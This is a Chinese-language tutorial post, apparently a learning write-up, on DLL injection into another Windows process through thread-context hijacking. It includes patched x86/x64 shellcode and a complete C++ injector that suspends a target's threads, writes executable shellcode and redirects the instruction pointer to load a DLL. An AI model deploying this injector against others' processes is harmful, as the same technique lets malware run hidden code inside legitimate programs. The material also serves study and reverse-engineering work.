注入DLL的方式有很多
R3就有远程线程CreateRemoteThread、SetWindowsHookEx、QueueUserApc、SetThreadContext
R0可以参考sudami大神的思路
关于本文32位下参考
http://bbs.pediy.com/showthread.php?t=181174&highlight=setthreadContext+dll+%E6%B3%A8%E5%85%A5
言归正传
大体思路就是
我们先打开目标进程,枚举目标线程采用的是系统快照的方式,比较线程所属的进程是否是我们的目标进程,SuspendThread挂起线程,GetThreadContext获得eip/rip,在目标进程空间写入Shellcode,SetThreadContext将eip/rip设置为我们shellcode的地址,shellcode执行load dll的工作,最后跳转回之前的eip继续执行。
我们先说说32位的
shellcode为
BYTE ShellCode[64]= { 0x60, 0x9c, 0x68, //push 0xaa,0xbb,0xcc,0xdd,//dll path +3 dll最目标进程中的地址 0xff,0x15, //call 这里感觉有点乱,我在64下直接call 相对地址 0xdd,0xcc,0xbb,0xaa,//+9 LoadLibrary Addr Addr 0x9d, 0x61, 0xff,0x25, //jmp 0xaa,0xbb,0xcc,0xdd,// +17 jmp eip 0xaa,0xaa,0xaa,0xaa,// loadlibrary addr 0xaa,0xaa,0xaa,0xaa// jmpaddr +25 // +29 };
这是一个需要我们填充的shellcode
strcpy((char*)DllPath,"D:\\Dllx86.dll");//这里是要注入的DLL名字 *(DWORD*)(ShellCode+3)=(DWORD)LpAddr+29; //////////////// *(DWORD*)(ShellCode+21)=LoadDllAAddr; //loadlibrary地址放入shellcode中 *(DWORD*)(ShellCode+9)=(DWORD)LpAddr+21;//修改call 之后的地址 为目标空间存放 loaddlladdr的地址 ////////////////////////////////// *(DWORD*)(ShellCode+25)=ctx.Eip; *(DWORD*)(ShellCode+17)=(DWORD)LpAddr+25;//修改jmp 之后为原来eip的地址
最后翻译成汇编
/* { 00973689 > 60 PUSHAD 0097368A 9C PUSHFD 0097368B 68 50369700 PUSH notepad.00973650 00973690 FF15 70369700 CALL DWORD PTR DS:[973670] 00973696 9D POPFD 00973697 61 POPAD 00973698 - FF25 30369700 JMP DWORD PTR DS:[973630] } */
然后需要注意的是 操作之前要 挂起, 结束后一定要 恢复,32位比较简单
我们在看看64位的shellcode
BYTE ShellCode64[64]= { 0x48,0x83,0xEC,0x28, // sub rsp ,28h 0x48,0x8D,0x0d, // [+4] lea rcx, 0xaa,0xbb,0xcc,0xdd, // [+7] dll path offset = TargetAddress- Current(0x48)[+4] -7 0xe8, // [+11] 0xdd,0xcc,0xbb,0xaa, // [+12] call LoadLibrary offset = TargetAddress - Current(0xe8)[+11] -5 0x48,0x83,0xc4,0x28, // [+16] add rsp,28h //0xcc, 调试时断下来的int 3 正常运行的时候非常傻逼的没有清掉...难怪一直死 0xff,0x25, // [+20] 0xaa,0xbb,0xcc,0xdd, // [+22] jmp rip offset = TargetAddress - Current(0xff)[+20] - 6 0xaa,0xbb,0xcc,0xdd, //+26 0xaa,0xbb,0xcc,0xdd //+34 };
64位下,寻址都是相对寻址,函数调用参数传递是rcx,rdx,r8,r9,超过4参数采用栈传递
首先需要sub rsp,28h
rsp我本来是只有一个参数+返回地址 应该是 8*2 ,可是用10h 不能正常运行, 故还是用的5*8 = 28h 4个寄存器+返回地址
然后将dll名称地址给rcx
在调用loadlibrary,最后跳回rip
DllPath=ShellCode64+34; strcpy((char*)DllPath,"D:\\Dll.dll");//这里是要注入的DLL名字 DWORD DllNameOffset = 23;// ((BYTE*)LpAddr+34) -((BYTE*)LpAddr+4) -7 这个指令7个字节 *(DWORD*)(ShellCode64+7)=(DWORD)DllNameOffset; //////////////// DWORD LoadDllAddroffset = (BYTE*)LoadDllAAddr - ((BYTE*)LpAddr + 11) -5; //这个指令5个字节e8 + 4addroffset *(DWORD*)(ShellCode64+12)=LoadDllAddroffset; ////////////////////////////////// *(DWORD64*)(ShellCode64+26)=ctx.Rip; //64下为rip *(DWORD*)(ShellCode64+22)= (DWORD)0; //我将地址放在+26的地方,相对offset为0 // 这里因为这样写跳转不到目标地址,故x64 应该要中转一次 相对寻址 // DWORD Ds = (DWORD)ctx.SegDs; // DWORD RipOffset = (BYTE*)ctx.Rip - ((BYTE*)LpAddr+20) -6; // *(DWORD*)(ShellCode64+22)=(DWORD)ctx.Rip;
完整代码:
#include "stdafx.h" #include <iostream> using namespace std; #include <windows.h> #include "tlhelp32.h" BYTE ShellCode[64]= { 0x60, 0x9c, 0x68, //push 0xaa,0xbb,0xcc,0xdd,//dll path +3 dll最目标进程中的地址 0xff,0x15, //call 这里感觉有点乱,我在64下直接call 相对地址 0xdd,0xcc,0xbb,0xaa,//+9 LoadLibrary Addr Addr 0x9d, 0x61, 0xff,0x25, //jmp 0xaa,0xbb,0xcc,0xdd,// +17 jmp eip 0xaa,0xaa,0xaa,0xaa,// loadlibrary addr 0xaa,0xaa,0xaa,0xaa// jmpaddr +25 // +29 }; /* { 00973689 > 60 PUSHAD 0097368A 9C PUSHFD 0097368B 68 50369700 PUSH notepad.00973650 00973690 FF15 70369700 CALL DWORD PTR DS:[973670] 00973696 9D POPFD 00973697 61 POPAD 00973698 - FF25 30369700 JMP DWORD PTR DS:[973630] } */ BYTE ShellCode64[64]= { 0x48,0x83,0xEC,0x28, // sub rsp ,28h 0x48,0x8D,0x0d, // [+4] lea rcx, 0xaa,0xbb,0xcc,0xdd, // [+7] dll path offset = TargetAddress- Current(0x48)[+4] -7 0xe8, // [+11] 0xdd,0xcc,0xbb,0xaa, // [+12] call LoadLibrary offset = TargetAddress - Current(0xe8)[+11] -5 0x48,0x83,0xc4,0x28, // [+16] add rsp,28h //0xcc, 调试时断下来的int 3 正常运行的时候非常傻逼的没有请掉...难怪一直死 0xff,0x25, // [+20] 0xaa,0xbb,0xcc,0xdd, // [+22] jmp rip offset = TargetAddress - Current(0xff)[+20] - 6 0xaa,0xbb,0xcc,0xdd, //+26 0xaa,0xbb,0xcc,0xdd //+34 }; BOOL EnableDebugPriv() ; BOOL StartHook(HANDLE hProcess,HANDLE hThread); int _tmain(int argc, _TCHAR* argv[]) { EnableDebugPriv() ; int ProcessId = 0; cin>>ProcessId; HANDLE Process = OpenProcess(PROCESS_ALL_ACCESS,NULL,ProcessId); // 定义线程信息结构 THREADENTRY32 te32 = {sizeof(THREADENTRY32)} ; //创建系统线程快照 ss HANDLE hThreadSnap = CreateToolhelp32Snapshot ( TH32CS_SNAPTHREAD, 0 ) ; if ( hThreadSnap == INVALID_HANDLE_VALUE ) return FALSE ; // 循环枚举线程信息 if ( Thread32First ( hThreadSnap, &te32 ) ) { do{ if(te32.th32OwnerProcessID == ProcessId) { HANDLE Thread = OpenThread(THREAD_ALL_ACCESS,NULL,te32.th32ThreadID); SuspendThread(Thread); if (!StartHook(Process,Thread)) { TerminateProcess(Process,0); printf("失败\n"); getchar(); return 0; } CloseHandle(Process); CloseHandle(Thread); } }while ( Thread32Next ( hThreadSnap, &te32 ) ) ; } CloseHandle ( hThreadSnap ) ; } BYTE *DllPath; BOOL StartHook(HANDLE hProcess,HANDLE hThread) { #ifdef _WIN64 CONTEXT ctx; ctx.ContextFlags=CONTEXT_ALL; if (!GetThreadContext(hThread,&ctx)) { printf("GetThreadContext Error\n"); return FALSE; } LPVOID LpAddr=VirtualAllocEx(hProcess,NULL,64,MEM_COMMIT,PAGE_EXECUTE_READWRITE); if (LpAddr==NULL) { printf("VirtualAlloc Error\n"); return FALSE; } DWORD64 LoadDllAAddr=(DWORD64)GetProcAddress(GetModuleHandle(L"kernel32.dll"),"LoadLibraryA"); if (LoadDllAAddr==NULL) { printf("LoadDllAddr error\n"); return FALSE; } /* 0x48,0x83,0xEC,0x28, //sub rsp ,28h 0x48,0x8D,0x0d, // [+4] lea rcx, 0xaa,0xbb,0xcc,0xdd, // [+7] dll path offset = TargetAddress- Current(0x48)[+4] -7 0xe8, // [+11] 0xdd,0xcc,0xbb,0xaa, // [+12] call LoadLibrary offset = TargetAddress - Current(0xe8)[+11] -5 0x48,0x83,0xc4,0x28, // [+16] add rsp,28h 0xff,0x25, // [+20] 0xaa,0xbb,0xcc,0xdd, // [+22] jmp rip offset = TargetAddress - Current(0xff)[+20] - 6 0xaa,0xbb,0xcc,0xdd, //+26 0xaa,0xbb,0xcc,0xdd //+34 */ DllPath=ShellCode64+34; strcpy((char*)DllPath,"D:\\Dll.dll");//这里是要注入的DLL名字 DWORD DllNameOffset = 23;// ((BYTE*)LpAddr+34) -((BYTE*)LpAddr+4) -7 这个指令7个字节 *(DWORD*)(ShellCode64+7)=(DWORD)DllNameOffset; //////////////// DWORD LoadDllAddroffset = (BYTE*)LoadDllAAddr - ((BYTE*)LpAddr + 11) -5; //这个指令5个字节e8 + 4addroffset *(DWORD*)(ShellCode64+12)=LoadDllAddroffset; ////////////////////////////////// *(DWORD64*)(ShellCode64+26)=ctx.Rip; //64下为rip *(DWORD*)(ShellCode64+22)= (DWORD)0; //我将地址放在+26的地方,相对offset为0 // 这里因为这样写跳转不到目标地址,故x64 应该要中转一次 相对寻址 // DWORD Ds = (DWORD)ctx.SegDs; // DWORD RipOffset = (BYTE*)ctx.Rip - ((BYTE*)LpAddr+20) -6; // *(DWORD*)(ShellCode64+22)=(DWORD)ctx.Rip; //////////////////////////////////// if (!WriteProcessMemory(hProcess,LpAddr,ShellCode64,64,NULL)) { printf("write Process Error\n"); return FALSE; } ctx.Rip=(DWORD64)LpAddr; if (!SetThreadContext(hThread,&ctx)) { printf("set thread context error\n"); return FALSE; } ResumeThread(hThread); return TRUE; #else CONTEXT ctx = {0}; ctx.ContextFlags=CONTEXT_ALL; if (!GetThreadContext(hThread,&ctx)) { int a = GetLastError(); printf("GetThreadContext Error\n"); return FALSE; } LPVOID LpAddr=VirtualAllocEx(hProcess,NULL,64,MEM_COMMIT,PAGE_EXECUTE_READWRITE); if (LpAddr==NULL) { printf("VirtualAlloc Error\n"); return FALSE; } DWORD LoadDllAAddr=(DWORD)GetProcAddress(GetModuleHandle(L"kernel32.dll"),"LoadLibraryA"); if (LoadDllAAddr==NULL) { printf("LoadDllAddr error\n"); return FALSE; } ///////////// /* 0x60, PUSHAD 0x9c, PUSHFD 0x68, PUSH 0xaa,0xbb,0xcc,0xdd,//dll path address 0xff,0x15, CALL 0xdd,0xcc,0xbb,0xaa, offset 0x9d, POPFD 0x61, POPAD 0xff,0x25, JMP 0xaa,0xbb,0xcc,0xdd,// [xxxxx] 0xaa,0xaa,0xaa,0xaa,// LoadLibrary Address 0xaa,0xaa,0xaa,0xaa// 恢复的EIP Address // +29 Dll名字 */ _asm mov esp,esp DllPath=ShellCode+29; strcpy((char*)DllPath,"D:\\Dllx86.dll");//这里是要注入的DLL名字 *(DWORD*)(ShellCode+3)=(DWORD)LpAddr+29; //////////////// *(DWORD*)(ShellCode+21)=LoadDllAAddr; //loadlibrary地址放入shellcode中 *(DWORD*)(ShellCode+9)=(DWORD)LpAddr+21;//修改call 之后的地址 为目标空间存放 loaddlladdr的地址 ////////////////////////////////// *(DWORD*)(ShellCode+25)=ctx.Eip; *(DWORD*)(ShellCode+17)=(DWORD)LpAddr+25;//修改jmp 之后为原来eip的地址 //////////////////////////////////// if (!WriteProcessMemory(hProcess,LpAddr,ShellCode,64,NULL)) { printf("write Process Error\n"); return FALSE; } ctx.Eip=(DWORD)LpAddr; if (!SetThreadContext(hThread,&ctx)) { printf("set thread context error\n"); return FALSE; } ResumeThread(hThread); return TRUE; #endif }; BOOL EnableDebugPriv() { HANDLE hToken; LUID sedebugnameValue; TOKEN_PRIVILEGES tkp; if(!OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES|TOKEN_QUERY,&hToken)) { return FALSE; } if(!LookupPrivilegeValue(NULL,SE_DEBUG_NAME,&sedebugnameValue)) { CloseHandle(hToken); return FALSE; } tkp.PrivilegeCount = 1; tkp.Privileges[0].Luid = sedebugnameValue; tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; if(!AdjustTokenPrivileges(hToken,FALSE,&tkp,sizeof(tkp),NULL,NULL)) { return FALSE; } CloseHandle(hToken); return TRUE; }
这个小demo时学到比较多的,首先32位的很早就成功了,之前弄64的时候shellcode一直不对,然后今天试着先用内联汇编写64位的这个程序
IncludeLib User32.Lib ;导入定义 EXTERN LoadLibraryA:PROC ;初始化数据定义 .DATA szPath BYTE "D:\\Dll.dll",0 .CODE FUNC PROC sub rsp,28H ;分配堆栈,四个参数+返回值,十进制40(5*8)为16进制28H lea rcx,szPath ;消息文本 call LoadLibraryA ;调用消息函数 add rsp,28H ;平衡堆栈,四个参数+返回值,十进制40为16进制28H ret FUNC ENDP END
// HelloPE.cpp : 定义控制台应用程序的入口点。 // #include "stdafx.h" #include<windows.h> extern "C" int _cdecl FUNC(); int _tmain(int argc, _TCHAR* argv[]) { //LoadLibraryA("D:\\Dll.dll"); int a = 3; int b = 4; int c = FUNC(); printf("%d",c); return 0; }
可是看不到机器码,也是不行
然后用windbg神器Attach这个程序
然后就看到机器码如下
HelloPE!FUNC: 00000001`3f5a1090 4883ec28 sub rsp,28h 00000001`3f5a1094 488d0d877f0000 lea rcx,[HelloPE!szPath (00000001`3f5a9022)] 00000001`3f5a109b e80a000000 call HelloPE!LoadLibraryA (00000001`3f5a10aa) 00000001`3f5a10a0 4883c428 add rsp,28h 00000001`3f5a10a4 c3 ret 00000001`3f5a10a5 cc int 3 00000001`3f5a10a6 cc int 3 00000001`3f5a10a7 cc int 3 00000001`3f5a10a8 cc int 3 00000001`3f5a10a9 cc int 3 HelloPE!LoadLibraryA: 00000001`3f5a10aa ff25d8a20000 jmp qword ptr [HelloPE!_imp_LoadLibraryA (00000001`3f5ab388)]
然后就字节构造机器码,调啊调就成功了
所以不会的还是要自己多研究,研究研究就有了~